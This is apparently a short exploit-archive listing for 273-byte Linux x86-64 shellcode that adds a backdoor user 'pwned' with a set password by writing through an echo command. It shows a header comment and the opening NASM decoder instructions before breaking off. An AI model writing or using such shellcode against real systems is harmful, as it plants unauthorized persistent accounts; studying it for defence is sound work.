Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd Shellcode (273 bytes)

; shellcode name adduserpassword ; Author : Christophe G SLAE64-1337 ; Len : 273 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and password with echo cmd ; tested kali linux , kernel 3.12 global start start: jmp short findaddress realstart: pop rdi xor byte rdi + 7 , 0x41 ;...